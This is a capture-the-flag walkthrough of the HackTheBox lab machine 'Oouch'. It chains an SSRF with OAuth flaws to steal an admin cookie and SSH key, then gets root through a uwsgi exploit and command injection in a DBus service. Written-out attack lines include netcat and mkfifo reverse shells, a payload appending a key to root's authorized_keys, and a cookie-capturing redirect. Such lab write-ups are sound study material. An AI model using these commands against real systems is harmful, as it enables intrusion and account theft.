HackTheBox - Oouch
Oouch just retired on Hackthebox, it’s a hard difficulty Linux box. As of today it’s amongst the box that have the highest user rated difficulty with a score of 8.2/10.
While being very well desinged, this box unsurprisingly gave me a very hard time but it’s also the box that made me learn the most since I started HackTheBox. While it can be very tedious to progress at first, it quickly makes a lot of sense and become very rewarding once you know what you are looking for and trying to exploit. As much as ever this box reminds the importance of looking at the big picture. Puts things into perspective in order to understand the logic behind an application makes its exploitation more straightforward.
The truth is I got stuck a little on it so special thanks to my buddy El_B@rt0 for the help along the torturous road.
Alright enough with the talk and place to the writeup!
Tl;Dr: In order to retrieve the user flag you had to chain multiple OAuth 2.0 protocol flaws with a SSRF vulnerability in order to “steal” admin account access. In a first part you use the SSRF vulnerability to access admin documents containing credentials to access the OAuth authorization server. From there we could create our own application and craft an authorization link redirecting to our server. Using the SSRF this link can be used to steal the admin session cookie. With the admin cookie, it’s possible to generate a API access token. With this token we can request the API which contains an endpoint used to retrieve connected user SSH key. The SSH key is then used to connect as qtc
and grab the flag.
To retrieve the root flag you had first to pivot from qtc
user in a docker container to www-data
using a Remote Code Execution exploit on the web-server running. As www-data
is was possible to exploit a custom DBus
server used by the app in order to let the docker container communicate with the host. You would craft and send a malicious message to the interface used by the app and achieve Remote Code Execution as root
through the privileged Dbus
server.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.177 oouch.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sC -T4 -p- oouch.htb |
We have two high port open on 5000
and 8000
open. 5000
seems to be the main app web server.
Port 22 SSH is open as usual aswell with port 21 FTP which allows anonymous
login. We will start with that.
FTP anonymous user
Let’s start by checking if we can retrieve any files from the FTP server. We indeed find a project.txt
:
1 | [hg8@archbook ~]$ ftp oouch.htb |
Let’s see what we got inside:
1 | [hg8@archbook ~]$ cat project.txt |
Alright so that’s not a lot of informations… Given the name of the box we are probably going to have an OAuth server. The consumer app is written using Flask Python Framework and Django is used for the Authorization Server. Let’s keep that in mind. Maybe later we can find exploits for those.
Oouch main application (port 5000)
Opening http://oouch.htb:5000
display the following website:
Since we can register let’s create a new account. Once logged-in we arrive on the following page:
We can access a few new pages from there. The most useful one seems to be:
- Profile: display informations about the connected account. Informs us it’s possible to links accounts.
- Documents: display administrative documents stored for the connected account.
- Contact: Allows to forward messages to the system administrator.
The About page confirm our theory about Django:
This application is the pilot project for our Oouch authorization server.
Let’s continue our recon.
Contact Page SSRF
The choice of words in contact page catch my attention:
Messages that were submitted in the message box below are forwarded to the system administrator.
Out of curiosity I sent various payload to the message box and quick noticed it’s vulnerable to SSRF:
On our web server we see a new request coming from 10.10.10.177
:
1 | [hg8@archbook ~]$ python -m http.server |
But so far we have no way to exploit it properly, let’s just keep it in mind for later.
Oauth Flow
Let’s continue our recon by running gobuster
to see if other files/endpoints are accessible:
1 | [hg8@archbook ~]$ gobuster dir -u "http://oouch.htb:5000" -w ~/SecLists/Discovery/Web-Content/big.txt |
This /oauth
endpoint is new. Navigating to it gives us access to more informations:
First we need to add this new consumer.oouch.htb
subdomain to our host file:
1 | [hg8@archbook ~]$ echo "10.10.10.177 consumer.oouch.htb" >> /etc/hosts |
Opening http://consumer.oouch.htb
displays almost the exact same login page. When opening the page, a new subdomain is requested:
1 | GET /oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read HTTP/1.1 |
Again, let’s add it to our host file and take a look at it.
1 | [hg8@archbook ~]$ echo "10.10.10.177 authorization.oouch.htb" >> /etc/hosts |
Opening http://authorization.oouch.htb
displays the following website:
From here it seems possible to create account and login. If you are not familiar with OAuth Authorization servers I recommend you this great introduction to the topic.
Let’s create register a new client called hg8_auth
:
Ok the next step is to connect our account with the Oouch authorization server. But that’s where the SSRF we found earlier will come useful. Instead of linking our own account, we are going to link the admin account using SSRF. This way we will get the authorization code and token to access the admin account.
Attacking the OAuth “Connect” request
After searching for informations on this topic I stumbled upon this article “Attacking the OAuth Protocol“ explaining how it was possible to abuse OAuth “Connect” request to gain access to the victim’s account on the Client by connecting one of our own account. Let’s try this trick.
Using Burp proxy with intercept on will come useful here, opening the http://consumer.oouch.htb:5000/oauth/connect
page should display this form:
With Burp intercept we can forward requests until we get the following one:
1 | GET /oauth/connect/token?code=TFKMAn9chP5VPBGMBcwR3QhcSeGSxn |
Let’s note down the token, drop the request, and go back to the Contact page.
On the contact page let’s send the full link to our connection token (http://consumer.oouch.htb:5000/oauth/connect/token?code=7giFB9MMVgAJJHiIxaiX8IkCDXi5DV
) for it to be open by the admin:
Now when the admin will open the link, he will link his account to ours. Then as described in the /oauth
page:
Once your account is connected, you should be able to use the authorization server for login.
Let’s head at http://consumer.oouch.htb:5000/oauth/login
, select Authorize
and bingo! We should now be connected as qtc
:
Note: You have to be careful since on the /oauth
page, the login
link actually redirect to connect
page. It’s an easy to overlook mistake since both Authorize
button looks the same (lost too much on this one to be honest…):
1 | <a href="http://consumer.oouch.htb:5000/oauth/connect"> |
QTC Documents
Browsing back to http://consumer.oouch.htb:5000/documents
with qtc
account we access a few interesting documents:
todo.txt
looks espacially promising… Looks like there is a way to retrieve qtc
SSH key.
Connecting to Authorization server as QTC
Now we need to find a way to connect to the Authorization
server as qtc
too. Let’s run gobuster
to see if we missed some endpoints on this server:
1 | [hg8@archbook ~]$ gobuster dir -u "http://authorization.oouch.htb:8000" -w ~/SecLists/Discovery/Web-Content/big.txt |
Let’s do a new search for this /oauth
endpoint:
1 | [hg8@archbook ~]$ gobuster dir -u "http://authorization.oouch.htb:8000/oauth" -w ~/SecLists/Discovery/Web-Content/big.txt |
/applications
looks promising… Let’s check what’s there:
Unfortunately we get prompted a Basic Auth. Trying the credentials found in qtc
notes develop
:supermegasecureklarabubu123!
doesn’t work.
Looking back at the notes we see:
develop:supermegasecureklarabubu123! -> Allows application registration.
So there must be a place to register new application. Let’s make one more gobuster
search to see if we can get this endpoint:
1 | [hg8@archbook ~]$ gobuster dir -u "http://authorization.oouch.htb:8000/oauth/applications" -w ~/SecLists/Discovery/Web-Content/big.txt |
We get a loooot of applications ID but also a register/
endpoint! That’s exactly what we need.
This times the credentials are working and leads us to the following page:
Let’s create our own public
app with Authorization type
set to Authorization Code
. Don’t forget to not down the Client ID
and Client Secret
since we are going to need it later. Let’s set our own server as Redirect uris
so we can easily monitor the requests later. Then save our app:
We can notice our application ID in the URL: http://authorization.oouch.htb:8000/oauth/applications/2/
. Let’s note down that our ID is 2
.
Once again we are going to abuse the SSRF vulnerability. Sending our app link to the admin qtc
will allow us to, thanks to the Redirect Uri
, to have qtc
redirected to our server with his admin cookie.
We now have to craft the right URL to let qtc
connects to our application. Following the OAuth 2.0 documentation, our link will be the following one:
1 | http://authorization.oouch.htb:8000/oauth/authorize?response_type=code&client_id=MFtnpVvtUo13yfBwO33jCHcjNfkT8R7Kebg9QKFj&client_secret=b4VGOv30ZpsQy1HOkRcRi5BaIyhsu00b7LZMw4SE9gFtygHXh3ngG54SjzZ0Kyf8SvH6m9Gfv6ISKh2k4YU582KP9bIlSz0Brz0Qz3vMns3eczMvm15kWagBjN5vbOKe&redirect_uri=http://10.10.14.16:80/&grant_type=authorization_code |
Now let’s have qtc
open it…
Let’s give a try first to make sure our link is correct. First we need to open a simple web server on port 80, I will user nc
:
1 | [hg8@archbook ~]$ sudo nc -lvnp 80 |
Now we open our authorization link:
As soon as we select Authorize
our web server receive datas including our session cookie:
1 | [hg8@archbook ~]$ sudo nc -lvnp 80 |
So we validated that everything is in order. Let’s now use the SSRF by sending this link through the Contact page so it will be opened by qtc
:
And after a few tries (the box was quite unstable) we finally get the cookie:
1 | [hg8@archbook ~]$ sudo nc -lvnp 80 |
Let’s go back to the authorization server and use Firefox/Chrome dev tools to replace our cookie with qtc
one:
It works! We are logged-in as qtc
on Authorization server as-well:
API get_user endpoint
Now it’s time to access the get_user
endpoint mentioned is qtc
notes:
/api/get_user -> user data. oauth/authorize -> Now also supports GET method.
o_auth_notes.txt
First we need to retrieve qtc
access token for the API. To do so we have to edit our application (2
) to set the Authorization grant type
to Client credentials
:
Now we go back to http://authorization.oouch.htb:8000/
with qtc
.
According to the OAuth 2.0 documentation, we need to make a POST request on /token
endpoint with app Client ID
and Client Secret
in order to retrieve a token. Let’s give a try:
1 | POST /oauth/token/ |
And success! The app returns the token we need:
1 | 200 OK |
Now we should be able to access the API using the access token we just got. Let’s give it a try:
1 | [hg8@archbook ~]$ curl 'http://authorization.oouch.htb:8000/api/get_user?access_token=W4c7YMFgb3lrZLyfdYOMyxs3Fh89is' -H 'Cookie: sessionid=6lqzd97bobc8is2tl3xod702qnzondvb' -i |
Good it worked! But we didn’t get a lot of new information here…
Retrieving qtc SSH key through API
Now we should have full admin access to the Oouch app, including the authorization server. Yet, we didn’t find information about qtc
SSH key as mentioned in the todo.txt
document.
Chris mentioned all users could obtain my ssh key. Must be a joke…
After a lot of searches and trial I finally find the endpoint we are looking for using ffuf
.
1 | [hg8@archbook ~]$ ffuf -w ~/SecLists/Discovery/Web-Content/common.txt -u "http://authorization.oouch.htb:8000/api/get_FUZZ?access_token=RsUDJoc9bGfx0bBTOrXIXmOzbYr6IM" -b "sessionid=6lqzd97bobc8is2tl3xod702qnzondvb" -fc 404 |
The get_ssh
endpoint might seems obvious when reading this writeup but believe me it’s not :P
Let’s check this get_ssh
endpoint:
1 | [hg8@archbook ~]$ curl 'http://authorization.oouch.htb:8000/api/get_ssh?access_token=W4c7YMFgb3lrZLyfdYOMyxs3Fh89is' -H 'Cookie: sessionid=6lqzd97bobc8is2tl3xod702qnzondvb' -i |
Bingo! Let’s save it to file and try to login to the server using it on qtc
account:
1 | [hg8@archbook ~]$ ssh -i qtcssh [email protected] |
Root Flag
Recon
qtc
home folder contains a note.txt
file:
1 | qtc@oouch:~$ cat .note.txt |
As a reminder an IPS
stand for Intrusion detection system, iptables
is a firewall and DBus
, according to its website:
D-Bus is a message bus system, a simple way for applications to talk to one another. In addition to interprocess communication, D-Bus helps coordinate process lifecycle; it makes it simple and reliable to code a “single instance” application or daemon, and to launch applications and daemons on demand when their services are needed.
I don’t know if it’s genius but definitely an original idea. Let’s move on.
Accessing Docker Container
Another thing that catch the attention while doing recon is that we are hosting docker containers:
1 | qtc@oouch:~$ docker -v |
Probably used for hosting the Oouch apps.
Since we don’t belongs to group docker
we can not access the containers this way. But we do have the qtc
SSH keys, maybe we can connect to the containers using it.
We know that docker
is running on 172.17.0.1/16
subnet and 172.18.0.1/16
let’s try to connect to one.
Manually trying to connect with qtc
on 172.17.0.1/16
doesn’t give any results, but on 172.18.0.1/16
we manage to connect on 172.18.0.5
:
1 | qtc@oouch:~$ ssh -i ~/.ssh/id_rsa [email protected] |
Browsing through the docker container we stumbled across the source code of the consumer app, alongside some interesting informations like the database password:
1 | qtc@aeb4525789d8:~$ cd /code |
Let’s keep this information in mind for later, it will probably come useful.
Another interesting fact is that the app is running on uwsgi
:
uWSGI is a software application that “aims at developing a full stack for building hosting services”. It is named after the Web Server Gateway Interface (WSGI), which was the first plugin supported by the project.
uWSGI is often used for serving Python web applications in conjunction with web servers such as Cherokee and Nginx, which offer direct support for uWSGI’s native uwsgi protocol.
Its configuration is also available in the folder:
1 | qtc@aeb4525789d8:/code$ cat uwsgi.ini |
So far it’s not very useful. Let’s continue our recon.
DBus htb.oouch.Block Interface
While checking for the reason the contact page got SSRF in oouch/route.py
I stumbled upon DBus
logic:
1 | def contact(): |
It’s very probably the IPS
that the admin was talking about on his note.txt
. If an XSS attempt is detected in the message body, a message containing the user IP is sent trough the htb.oouch.Block
interface. Then the user gets redirected to an hacker.html
page. Following the note.txt
we can guess that a DBus
server is running somewhere and adding the IP addresses received as messages through the htb.oouch.Block
to an iptables
denylist.
As far as I understand it’s actually a smart idea since it allows a -somewhat- secure communication between the docker container and the host.
Let’s see if we can find more informations about this DBus
server.
Trying to manually send dbus
message return an error message explaining we don’t have the correct rights to send messages.
1 | qtc@aeb4525789d8:/code$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block "string:test" |
Going back to the docker host we find the config file related to the DBus htb.oouch.Block
Interface:
1 | qtc@oouch:~$ cat /etc/dbus-1/system.d/htb.oouch.Block.conf |
We can understand from the configs files we found so far that the app inside the container is communicating with its host and that only www-data
is allowed to communicate on this channel.
We need to find a way to pivot to www-data
in order to send command through DBus interface. This should also allows us to run command on host as root
.
Pivot qtc -> docker www-data
If you remember uwsgi.ini
config file, we know that uwsgi.ini
is running as www-data
:
1 | qtc@aeb4525789d8:/code$ cat uwsgi.ini |
Searching online lead us to a neat vulnerability leading to Remote Code Execution in uwsgi
. Let’s give it a try!
First we need to download it on our machine, then transfer it to the box and finally send it to the docker container. To ease to exploit process we are also going to transfer our netcat
binary since it’s not installed on the container:
1 | [hg8@archbook ~]$ wget https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py |
1 | qtc@oouch:/tmp/.hg8$ cp /bin/nc . |
The exploit can be run using HTTP, TCP or Unix socket mode. Let’s use the socket mode since the uwsgi.ini
told us where it’s stored (/tmp/uwsgi.socket
):
1 | qtc@oouch:/tmp/.hg8$ ssh -i ~/.ssh/id_rsa [email protected] |
Let’s open our listener on qtc
host:
1 | qtc@oouch:/$ nc -nlvp 8585 |
And run the exploit:
1 | qtc@aeb4525789d8:~$ cd /tmp/ |
Since we are using Python 3 let’s tweak the exploit a little to make it compatible:
1 | - if sys.version_info[0] == 3: import bytes |
And we can run it again:
1 | qtc@aeb4525789d8:/tmp$ python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/nc -e /bin/bash 172.18.0.1 8585" |
A new connection appear on our listener:
1 | qtc@oouch:/tmp/.hg8$ nc -nlvp 8585 |
DBus privilege escalation
Alright we are now connect as www-data
, we should be able to freely send dbus
message on the htb.oouch.Block
interface. We know that the dbus
server is used to add iptable
entries with the IP sent as Block
object. Knowing this we can imagine the dbus
server is running this kind of command:
1 | iptables -I INPUT -s {IP} -j DROP |
So maybe if the message is not properly sanitized we can achieved remote code execution ? For example sending the following command injection payload:
1 | ;touch /tmp/pwnd; |
Will result in the following command being run:
1 | iptables -I INPUT -s ;touch /tmp/pwnd; -j DROP |
Well, here is the theory so now let’s give it a try:
1 | www-data@aeb4525789d8:/$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;/bin/touch /tmp/pwnd;" |
1 | qtc@oouch:/$ ls -l /tmp/pwnd |
Awesome it worked! Let’s now use the Remote Code Execution vulnerability to get a root
shell.
Method 1: SSH authorized_keys
1 | www-data@aeb4525789d8:/$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;/bin/echo \"ssh-rsa AAA[...]2E= [email protected]\" >> /root/.ssh/authorized_keys;" |
Then login using SSH:
1 | [hg8@archbook ~]$ ssh -i id_rsa_htb [email protected] |
Method 2: Bi-directional netcat
This one was new to me. First let’s open our listener:
1 | qtc@aeb4525789d8:/tmp$ /tmp/nc -nlvp 4444 |
Then let’s inject a bi-directional netcat
shell.
1 | www-data@aeb4525789d8:/$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;mkfifo /tmp/.h; cat /tmp/.h | /bin/bash -i 2>&1 | nc 172.18.0.5 4444 >/tmp/.h;" |
We get the connection on our listener:
1 | qtc@aeb4525789d8:/tmp$ /tmp/nc -nlvp 4444 |
Beyond root
On root home folder we found the following credits.txt
file:
1 | root@oouch:~# cat credits.txt |
Couldn’t agree more!
We can also find the source code of the app simulating admin opening link sent through contact page, creating the SSRF. We also find the dbus
server source code which is worth reading to understand how our command is handled once a message is sent on the htb.oouch.Block
Interface.
1 |
|
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8